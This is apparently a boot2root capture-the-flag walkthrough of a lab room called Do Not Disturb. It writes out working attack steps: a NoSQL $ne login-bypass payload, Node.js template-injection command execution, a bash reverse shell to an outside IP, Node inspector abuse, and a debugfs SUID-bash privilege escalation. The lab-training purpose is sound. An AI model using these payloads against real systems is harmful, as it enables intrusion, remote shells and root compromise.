Overview

Do Not Disturb is a Linux boot2root room that chains a NoSQL authentication bypass with server-side template injection in a Node.js / Express.js application. After gaining an initial shell, a locally exposed Node inspector interface provides access to a second user whose membership in the disk group can be abused with debugfs to create a root-owned SUID copy of bash.

Attack Chain

  • Enumerate TCP ports 22 and 80
  • Identify a Node.js / Express.js login endpoint accepting JSON
  • Bypass authentication with a NoSQL $ne operator and obtain a staff session
  • Access the /staff endpoint with the authenticated session cookie
  • Confirm server-side template injection and execute operating system commands
  • Gain a reverse shell as poolside and read the user flag
  • Discover a Node process exposing its inspector interface on 127.0.0.1:9229
  • Attach to the inspector and use the JavaScript REPL to execute commands as pipelinesvc
  • Confirm pipelinesvc is a member of the disk group
  • Use raw disk access with debugfs against /dev/nvme0n1p1
  • Write a root-owned SUID copy of bash to /tmp/suidbash
  • Execute suidbash -p and gain a root shell

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.81.131.245; export NAME=DONUTDISTURB; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

Export the discovered ports into a variable:

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

Run the default scripts and service/version detection against the open ports:

nmap $IP -p$ports -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results

The exposed attack surface is small: SSH on port 22 and an HTTP service on port 80. With no credentials for SSH, the web application becomes the main target.


Web Enumeration

Byte Lotus Login

Browsing to port 80 reveals a login page for the Byte Lotus reservation platform.

Byte Lotus login page

The Staff / Guest ID field already contains the suggested value attedant, so we start by testing the application with that value and test as the password.

login test

The application returns an Invalid credentials error.

invalid credentials

Express.js JSON Endpoint

Looking at the request in BurpSuite, the response contains the following header:

X-Powered-By: Express

This indicates that the backend is using the Express.js framework on Node.js.

Express header in BurpSuite

The request uses the content type:

Content-Type: application/json

with the following body:

{ "username": "attendant", "password": "test" }

JSON login request

The application also returns its response as JSON.

JSON login response

NoSQL Authentication Bypass

Because the application accepts JSON objects directly, we test a standard NoSQL authentication bypass. We keep the username as attendant, but change the password value to an object using the $ne operator so that it matches a value that is not equal to null.

{"username":"attendant","password":{"$ne":null}}

The request succeeds and the response assigns us the staff role.

NoSQL staff authentication bypass

We can also try applying the same condition to both the username and password fields.

{"username":{"$ne":null},"password":{"$ne":null}}

This request is also accepted, but it only returns the guest role.

NoSQL guest authentication bypass

The first request is therefore more useful. Its response contains a session cookie that we need to retain:

Set-Cookie: connect.sid=s%3AK8yMYgZn6d1nEAaebHcRKbUC3GbKDrVp.DcnWc%2F7Q%2BcI0CJCFrf4pmIYy3%2FM%2BsYqzE2c1p0uo5SI; Path=/; HttpOnly

Staff Interface

Using BurpSuite in intercept mode, we request the /staff endpoint and make sure the authenticated connect.sid cookie is included.

authenticated staff request

The request succeeds and exposes a new staff interface.

staff interface

Inside the page, the value entered into the application is rendered in a template expression similar to <%= guest %>.

template expression

This makes server-side template injection worth testing.

Server-Side Template Injection

We start with a simple arithmetic expression. If 7*7 is evaluated server-side and returns 49, it confirms that our input is being interpreted as template code rather than treated only as text.

The application returns 49, confirming SSTI.

SSTI arithmetic test

Next, we test whether the template context can access Node.js functionality and execute an operating system command.

process.mainModule.require('child_process').execSync('id')

The command executes successfully, confirming command execution on the target.

Node.js command execution


Foothold

Reverse Shell as poolside

We start a penelope listener on port 443 and use a basic Bash reverse shell payload.

bash -c "bash -i >& /dev/tcp/192.168.142.96/443 0>&1"

reverse shell payload

Executing the payload through the template injection returns a shell as poolside.

poolside shell

The user flag can now be read.

user flag


Privilege Escalation

Node Inspector Enumeration

Running linpeas reveals an interesting Node.js process owned by another low-privileged user.

linpeas Node process

The same process can be identified manually with:

ps -aux

ps Node process

The relevant process is:

/usr/bin/node --inspect=127.0.0.1:9229 processor.js

The important detail is the --inspect=127.0.0.1:9229 argument. The Node inspector is bound only to localhost, but because we already have a shell on the target, we can reach it locally and interact with the running process.

Connect to the debugging interface with:

/usr/bin/node inspect 127.0.0.1:9229

This places us in Node’s debugger.

Node inspector connection

JavaScript REPL

To execute JavaScript directly inside the target process, switch to the interactive REPL.

repl

Node REPL

From the REPL, JavaScript is evaluated inside the context of the running process. We can check its UID and execute operating system commands through the built-in child_process module.

process.getuid()
process.getBuiltinModule('child_process').execSync('id').toString()

The output confirms command execution as pipelinesvc. The id output also shows that this user belongs to the disk group.

pipelinesvc id and disk group

Reverse Shell as pipelinesvc

To make the next stage easier, we create another interactive reverse shell using the same Bash payload.

bash -c "bash -i >& /dev/tcp/192.168.142.96/443 0>&1"

Start a penelope listener and execute the payload from the Node REPL:

process.getBuiltinModule('child_process').execSync('bash -c "bash -i >& /dev/tcp/192.168.142.96/443 0>&1"').toString()

This returns a shell as pipelinesvc.

Note: The room had to be restarted during this stage, so the target IP shown in later screenshots differs from the earlier screenshots.

pipelinesvc reverse shell

Running id again confirms membership in the disk group.

disk group membership

Identifying the Root Filesystem

We inspect the mounted filesystems with:

df -h

The filesystem mounted at / appears as /dev/root.

df root filesystem

A first attempt to open it directly with debugfs fails with a Filesystem not open error.

debugfs /dev/root

debugfs dev root failure

Inspecting /dev/root more closely shows that it does not expose the disk group permissions we need.

dev root permissions

Using lsblk reveals the underlying block device. The root filesystem resides on /dev/nvme0n1p1, and this device is accessible through the disk group.

lsblk disk device

Testing debugfs Write Access

Common disk group escalation paths include reading /etc/shadow or extracting root SSH material, but the obvious approaches did not produce a usable path here. We therefore test whether the raw filesystem access can be used to write into root-owned locations.

First, create a test file through debugfs.

debugfs test file

The write succeeds and the new file appears under /root/.ssh/test.txt.

debugfs root ssh write

Attempts to modify existing files such as /root/.ssh/authorized_keys and /etc/sudoers did not take effect as expected. One possible explanation is that these already-existing files were being served from the live filesystem cache even though debugfs modified the underlying disk directly.

Instead of continuing to modify an existing path, we write a completely new file at /tmp/suidbash. The important part is that the copy and its metadata are created through debugfs, allowing us to set the file owner to root and enable the SUID bit directly on disk.

Creating a SUID Bash Binary

Open the root partition with debugfs in write mode:

debugfs -w /dev/nvme0n1p1

Inside debugfs, move to /tmp and copy /bin/bash to a new file:

cd /tmp
write /bin/bash /tmp/suidbash

Set the owner, group and mode so the new binary is root-owned and SUID:

sif /tmp/suidbash uid 0
sif /tmp/suidbash gid 0
sif /tmp/suidbash mode 0104755

create SUID bash with debugfs

We can inspect the inode metadata from inside debugfs with:

stat /tmp/suidbash

The output confirms the required ownership and mode.

SUID bash debugfs stat

Exit debugfs and verify that the SUID bit is visible from the live filesystem.

SUID bash permissions

Finally, execute the binary with -p so Bash preserves the effective privileged UID.

/tmp/suidbash -p

This gives us a root shell.

root shell

The root flag can now be read.

root flag


Key Takeaways

Do Not Disturb demonstrates how several individually limited weaknesses can be chained into full compromise. Accepting untrusted JSON objects in the authentication flow enables a NoSQL login bypass, while unsafe server-side template evaluation turns staff access into command execution. The locally exposed Node inspector then provides a second execution context, and membership in the disk group effectively bypasses normal filesystem permissions by granting raw access to the underlying block device. With write access through debugfs, a root-owned SUID binary is enough to complete the escalation.